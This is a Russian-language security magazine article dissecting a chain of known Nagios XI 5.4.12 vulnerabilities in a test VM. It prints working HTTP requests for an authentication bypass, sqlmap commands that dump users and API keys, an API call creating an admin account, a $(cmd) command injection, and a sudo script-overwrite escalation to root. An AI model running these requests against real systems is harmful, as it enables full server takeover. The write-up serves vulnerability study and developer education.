Хакер - Нагнуть Nagios. Разбираем хитрую цепочку уязвимостей в популярной системе мониторинга
Содержание статьи
Nagios решает довольно типичный для своего класса программ набор задач: контроль состояния компьютерных систем и сетей, наблюдение за выполняющимися службами и демонами и тому подобные задачи. Также в Nagios входит расширенная система оповещения админа об изменениях в функционировании системы, например когда какие-то из компонентов прекращают свою работу.
Проблемы были обнаружены исследователями Redacted Security и затрагивают все версии продукта вплоть до Nagios XI версии 5.4.12.
Приготовления
Для демонстрации уязвимости я подниму тестовое окружение. Nagios XI можно вполне легально скачать с официального сайта абсолютно бесплатно. После установки он спокойно проработает в пробном режиме в течение 60 дней. Нам этого вполне достаточно.
Решение поставляется в нескольких вариантах: в виде пакета для дистрибутивов Linux, в виде образа VHD для Windows с поддержкой аппаратной виртуализации на основе гипервизора (Hyper-V) и в формате OVF (Open Virtualization Format), который поддерживается всеми приличными приложениями для виртуализации. Мне удобнее использовать именно последний вариант.
Все манипуляции я буду проводить на последней уязвимой версии системы — 5.4.12, поэтому сначала скачаем ее образ. После этого нужно развернуть его на виртуальной машине. Для этой цели подойдут как коммерческие продукты VMware, так и бесплатные решения типа VirtualBox или того же VMware Player.

Когда импорт завершится, запустим новоиспеченную виртуалку, после непродолжительной загрузки видим приглашение авторизации в систему, IP-адрес машины и пароль рута. По дефолту это nagiosxi
.

Теперь, как и советует система, нужно перейти в браузере по указанному IP-адресу и выполнить начальную настройку.

После нажатия на кнопку Install система будет готова к экспериментам.
Начало пути. Обход авторизации. CVE-2018-8733
В состав Nagios входит NagiosQL — это веб-интерфейс для конфигурирования системы. По дефолту он располагается по адресу /nagiosql/
. Авторизоваться можно, используя ту же связку логин-пароль, которую мы указывали на этапе начальной настройки.

В разделе Administration
есть подраздел Settings
, где можно настроить сам NagiosQL
. Среди переменных здесь есть раздел Database
, в котором находятся параметры подключения к базе данных.

Они записываются в конфигурационный файл settings.php. По умолчанию он выглядит примерно так.
/var/www/html/nagiosql/config/settings.php
01:
...
20: [db]
21: server = localhost
22: port = 3306
23: database = nagiosql
24: username = nagiosql
25: password = n@gweb
26: [common]
27: install = passed
Разумеется, все перечисленные возможности доступны только для авторизованного админа. Или нет? Заглянем в исходник скрипта, который отвечает за изменения конфига, а именно в его начало.
/var/www/html/nagiosql/admin/settings.php
23: $intMain = 7;
24: $intSub = 29;
25: $intMenu = 2;
26: $preContent = "admin/settings.tpl.htm";
27: $strMessage = "";
28: $intError = 0;
29: //
30: // Include requirements
31: // ======================
32: $preAccess = 1;
33: $preFieldvars = 1;
34: // Import basic function
35: require("../functions/prepend_adm.php");
36: // Import translation function
37: require("../functions/translator.php");
На 35-й строке подгружается файл prepend_adm.php, который в том числе выполняет ряд проверок авторизации.
/var/www/html/nagiosql/functions/prepend_adm.php
164: if (($_SESSION['username'] != "") && (!isset($preNoLogCheck) || ($preNoLogCheck == 0))) {
...
182: if ($intResult != 0) {
183: $myDataClass->writeLog(_('Restricted site accessed:')." ".$_SERVER['PHP_SELF']);
184: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."admin/errorsite.php"); // todo check
185: }
...
190: } else {
191: // Neues Login erzwingen
192: $myDataClass->writeLog(_('User not found in database'));
193: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."index.php");
...
195: } else if (!isset($preNoLogin)) {
196: // Neues Login erzwingen
197: header("Location: ".$SETS['path']['protocol']."://".$_SERVER['HTTP_HOST'].$SETS['path']['root']."index.php");
Чего-то не хватает, не правда ли? А именно завершения работы скрипта после редиректа. Благодаря такой неосторожности разработчиков выполнение кода продолжится, даже если пользователь не авторизован, и мы можем вносить изменения в конфигурационный файл.
/var/www/html/nagiosql/admin/settings.php
043: $selLanguage = isset($_POST['selLanguage']) ? $_POST['selLanguage'] : $SETS['data']['locale'];
...
045: $txtDBserver = isset($_POST['txtDBserver']) ? $_POST['txtDBserver'] : $SETS['db']['server'];
046: $txtDBport = isset($_POST['txtDBport']) ? $_POST['txtDBport'] : $SETS['db']['port'];
047: $txtDBname = isset($_POST['txtDBname']) ? $_POST['txtDBname'] : $SETS['db']['database'];
048: $txtDBuser = isset($_POST['txtDBuser']) ? $_POST['txtDBuser'] : $SETS['db']['username'];
049: $txtDBpass = isset($_POST['txtDBpass']) ? $_POST['txtDBpass'] : $SETS['db']['password'];
...
063: if ( (isset($_POST)) AND (isset($_POST['selLanguage']))) {
...
085: $filSet = fopen($txtBasePath."config/settings.php","w");
086: if ($filSet) {
087: fwrite($filSet,"\n");
...
107: fwrite($filSet,"server = ".$txtDBserver."\n");
108: fwrite($filSet,"port = ".$txtDBport."\n");
109: fwrite($filSet,"database = ".$txtDBname."\n");
110: fwrite($filSet,"username = ".$txtDBuser."\n");
111: fwrite($filSet,"password = ".$txtDBpass."\n");
...
114: fclose($filSet);
Все, что требуется, — это передать локаль и нужные переменные в соответствующих параметрах POST-запроса. Он будет выглядеть следующим образом:
POST /nagiosql/admin/settings.php HTTP/1.1
Host: nagios.vh
Content-Type: application/x-www-form-urlencoded
Connection: close
selLanguage=en_GB&txtDBserver=localhost&txtDBuser=nagiosql&txtDBpass=n@gweb

Хоть сервер и вернул код 302, но скрипт продолжил свое выполнение и перезаписал конфиг.
Тут уже открывается некий простор для творчества. Можно указать в качестве адреса базы данных свой сервак с Rogue MySQL Server и получить читалку файлов. Также изменение некоторых параметров дает возможность вызвать отказ в обслуживании. Но это не особенно интересно. Гораздо полезнее поменять юзера, под которым происходит соединение с базой данных. Это поможет нам продвинуться к нашей цели — полной компрометации системы. Благо по умолчанию пароль пользователя root устанавливается в nagiosxi
не только для входа в систему, но и для авторизации в БД.
POST /nagiosql/admin/settings.php HTTP/1.1
Host: nagios.vh
Content-Type: application/x-www-form-urlencoded
Connection: close
selLanguage=en_GB&txtDBserver=localhost&txtDBuser=root&txtDBpass=nagiosxi

Добываем API-ключи через SQL-инъекцию. CVE-2018-8734
Теперь заглянем еще в один раздел веб-морды NagiosQL, он называется Help editor.

Здесь можно редактировать описания различных ключей. Заглянем в сорцы.
/var/www/html/nagiosql/admin/helpedit.php
36: require("../functions/prepend_adm.php");
Наблюдаем ту же проблему с обходом авторизации. Сразу скажу, что она распространяется почти на все скрипты админки. Дальше следуют любопытные участки кода.
040: $chkKey1 = isset($_POST['selInfoKey1']) ? $_POST['selInfoKey1'] : "";
041: $chkKey2 = isset($_POST['selInfoKey2']) ? $_POST['selInfoKey2'] : "";
042: $chkVersion = isset($_POST['selInfoVersion']) ? $_POST['selInfoVersion'] : "";
043: $chkDefault = isset($_POST['chbDefault']) ? $_POST['chbDefault'] : "0";
044: $chkHidKey1 = isset($_POST['hidKey1']) ? $_POST['hidKey1'] : "";
045: $chkHidKey2 = isset($_POST['hidKey2']) ? $_POST['hidKey2'] : "";
046: $chkHidVersion = isset($_POST['hidVersion']) ? $_POST['hidVersion'] : "all";
047: $chkModus = isset($_POST['modus']) ? $_POST['modus'] : "0";
...
055: if (($chkContent != "") && ($chkModus == "1")) {
056: $strSQL = "SELECT `infotext` FROM `tbl_info`
057: WHERE `key1` = '$chkHidKey1' AND `key2` = '$chkHidKey2' AND `version` = '$chkHidVersion'
058: AND `language` = '$setSaveLangId'";
059: $booReturn = $myDBClass->getDataArray($strSQL,$arrData,$intDataCount);
060: if ($intDataCount == 0) {
061: $strSQL = "INSERT INTO `tbl_info` (`key1`,`key2`,`version`,`language`,`infotext`)
062: VALUES ('$chkHidKey1','$chkHidKey2','$chkHidVersion','$setSaveLangId','$chkContent')";
063: } else {
064: $strSQL = "UPDATE `tbl_info` SET `infotext` = '$chkContent'
065: WHERE `key1` = '$chkHidKey1' AND `key2` = '$chkHidKey2' AND `version` = '$chkHidVersion'
066: AND `language` = '$setSaveLangId'";
067: }
068: $intInsert = $myDataClass->dataInsert($strSQL,$intInsertId);
069: }
...
109: if ($chkKey1 != "") {
110: $strSQL = "SELECT DISTINCT `key2` FROM `tbl_info` WHERE `key1` = '$chkKey1' ORDER BY `key1`";
...
123: if (($chkKey1 != "") && ($chkKey2 != "")) {
124: $strSQL = "SELECT DISTINCT `version` FROM `tbl_info` WHERE `key1` = '$chkKey1' AND `key2` = '$chkKey2' ORDER BY `version`";
Здесь самая банальная error based SQL-инъекция. Непонятно, на что надеялись разработчики, не посчитав это багом. Видимо, «скуля» в админке багом не считается! Довольно распространенное и ошибочное мнение, которого придерживаются разработчики и вендоры по всему миру.
Так как пользователь, через которого мы подключаемся к БД, теперь root, то мы имеем полный доступ ко всем таблицам, что есть на сервере. Самое время раскрутить уязвимость и посмотреть, что интересного хранится в таблицах. Для этих целей можно привлечь всем известный sqlmap. Используем параметр selInfoKey1
для более простой эксплуатации инъекции.
python sqlmap.py -u http://nagios.vh/nagiosql/admin/helpedit.php --data="selInfoKey1=1" -p selInfoKey1 --dbs --tables --exclude-sys

Сразу скажу, что самое интересное для нас находится в таблице xi_users
из базы nagiosxi
.
python sqlmap.py -u http://nagios.vh/nagiosql/admin/helpedit.php --data="selInfoKey1=1" -p selInfoKey1 -D nagiosxi -T xi_users -C username,password,api_enabled,api_key --dump

По дефолту у администратора включен доступ через API, а ключ генерируется на этапе начальной конфигурации и любезно записывается в таблицу.
/usr/local/nagiosxi/html/install.php
152: function do_install()
153: {
...
207: change_user_attr($uid, "api_key", random_string(64));
Помимо этого, пароли хранятся в обычном MD5. Однако при установке генерируется довольно длинный пароль, и расшифровка займет слишком много времени. Конечно, если пароль на этапе установки задан вручную, то можно попробовать.
usr/local/nagiosxi/html/install.php
046: $admin_password = random_string(20, "$#@!.,%^&");
...
205: change_user_attr($uid, "password", md5($admin_password));
...
213: nagiosql_update_user_password("nagiosadmin", $admin_password);
Балуемся с API
Посмотрим, какими же методами располагает REST API Nagios XI. Все они описаны во встроенном разделе справки. Наиболее интересна возможность создания пользователя через эндпоинт system/user
.

Для этого нужно лишь отправить POST-запрос с данными нового юзера и ключ API, который мы раздобыли на предыдущем шаге.
POST /nagiosxi/api/v1/system/user?apikey=ietf9a45YnLEClWJVoKEBnGlhcm47IeJc0Xla0JoIK2g6ef0GYUtFARcLdA9bNRH&pretty=1 HTTP/1.1
Host: nagios.vh
Content-Type: application/x-www-form-urlencoded
Connection: close
username=attacker&password=4ySlGxzVhI&name=Larry Flynt&email=lf@localhost&auth_level=admin&force_pw_change=0

Здесь самый важный параметр — это auth_level
. Если мы передадим в нем admin
, то это означает, что новоиспеченный пользователь будет админом. Что нам и нужно.
Разумеется, это никакая не уязвимость, а просто стандартные возможности встроенного REST API, но такие штуки частенько помогают продвигаться внутрь периметра.
Удаленное выполнение команд через админа. CVE-2018-8735
Теперь можно свободно авторизовываться как администратор с заданными логином и паролем и осматривать содержимое панели управления.
Здесь все очень удобно с точки зрения возможных атак, так как в скриптах бэкенда есть возможность выполнения команд.
/usr/local/nagiosxi/html/backend/index.php
32: route_request();
...
34: function route_request()
35: {
...
49: // Handle the command
50: switch ($cmd) {
...
78: // Command subsystem
79: case "submitcommand":
80: backend_submit_command();
Но только определенных команд, которые разрешены к выполнению. Для этого в качестве аргумента command
к функции submit_command
передается числовой ID команды, а в command_data
— ее параметры.
/usr/local/nagiosxi/html/backend/includes/handler-commands.inc.php
15: function backend_submit_command()
16: {
...
22: // Grab the command to run...
23: if (($command = grab_request_var("command", "")) == "") {
24: handle_backend_error("You must enter a command (and command data if required) to run a command.");
25: }
26: $command_data = grab_request_var("command_data", "");
27: $event_time = grab_request_var("event_time", "0");
28:
29: // Run the command through the backend (don't wait for it to return)
30: $command_id = submit_command($command, $command_data, $event_time, 0);
По крайней мере так было задумано разработчиками, но если в command_data
передать конструкцию вида $(cmd)
, то cmd будет выполнена.
POST /nagiosxi/backend/index.php HTTP/1.1
Host: nagios.vh
Content-Type: application/x-www-form-urlencoded
Cookie: nagiosxi=td9uet8udcotgm3c7s0604qbv7
Connection: close
cmd=submitcommand&command=1111&command_data=$(touch /tmp/executed)

К сожалению, результат выполнения команды сервер не возвращает. Это было бы совсем здорово. 🙂
Из грязи в князи. Повышаем привилегии до root. CVE-2018-8735
Все команды, что мы отправляем через админа, выполняются с теми привилегиями, с которыми запущен веб-сервер, а именно от пользователя nagios
. Это, конечно, круто, но не совсем. Нужно повышать свои привилегии, и в этом нам поможет sudo
. Заглянем в файл с правилами предоставления доступа root. Интересные строчки притаились в самом его конце.

Скрипты change_timeone.sh
, manage_services.sh
, upgrade_to_latest.sh
, reset_config_perms.sh
и другие доступны для выполнения через sudo без запроса пароля. Теперь посмотрим в директорию скриптов.

Как видишь, все скрипты принадлежат нашему пользователю nagios
. Поэтому мы можем свободно менять содержимое этих файлов, а это значит, что мы сможем выполнять произвольные команды от имени суперпользователя. Возьмем на вооружение любой скрипт, который указан в /etc/sudoers
. Наш запрос примет, например, такой вид:
POST /nagiosxi/backend/index.php HTTP/1.1
Host: nagios.vh
Content-Type: application/x-www-form-urlencoded
Cookie: nagiosxi=td9uet8udcotgm3c7s0604qbv7
Connection: close
cmd=submitcommand&command=1111&command_data=$(cp /usr/local/nagiosxi/scripts/reset_config_perms.sh /tmp/rcp.bak && echo "touch /tmp/execroot" > /usr/local/nagiosxi/scripts/reset_config_perms.sh && sudo /usr/local/nagiosxi/scripts/reset_config_perms.sh && mv /tmp/rcp.bak /usr/local/nagiosxi/scripts/reset_config_perms.sh)

Только не забывай про URL Encoding. Теперь можно свободно выполнять команды от рута!
Для автоматизации всех этих рутинных действий, конечно же, существует несколько готовых эксплоитов. Рекомендую вариант Джареда Арейва. В нем нужно указать хост, где установлен Nagios, и связку между IP и портом, если хочешь получить бэкконнект. С помощью ключа -c
можно определить, какую команду требуется выполнить на целевой системе.

Выводы
Мы рассмотрели целых четыре уязвимости в Nagios, которые получили идентификаторы CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736. Использование этих багов одного за другим дает нам права суперпользователя на целевой системе.
Вот так, казалось бы, простые уязвимости могут создавать серьезные проблемы для всей инфраструктуры в целом. Особенно стоит отметить, насколько разработчики лояльно относятся к действиям администратора, никак не ограничивают и не фильтруют данные, которые тот присылает. Такая политика нередко приводит к показанным в статье печальным последствиям. Если ты занимаешься разработкой, то, надеюсь, это убедит тебя не повторять такие ошибки.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei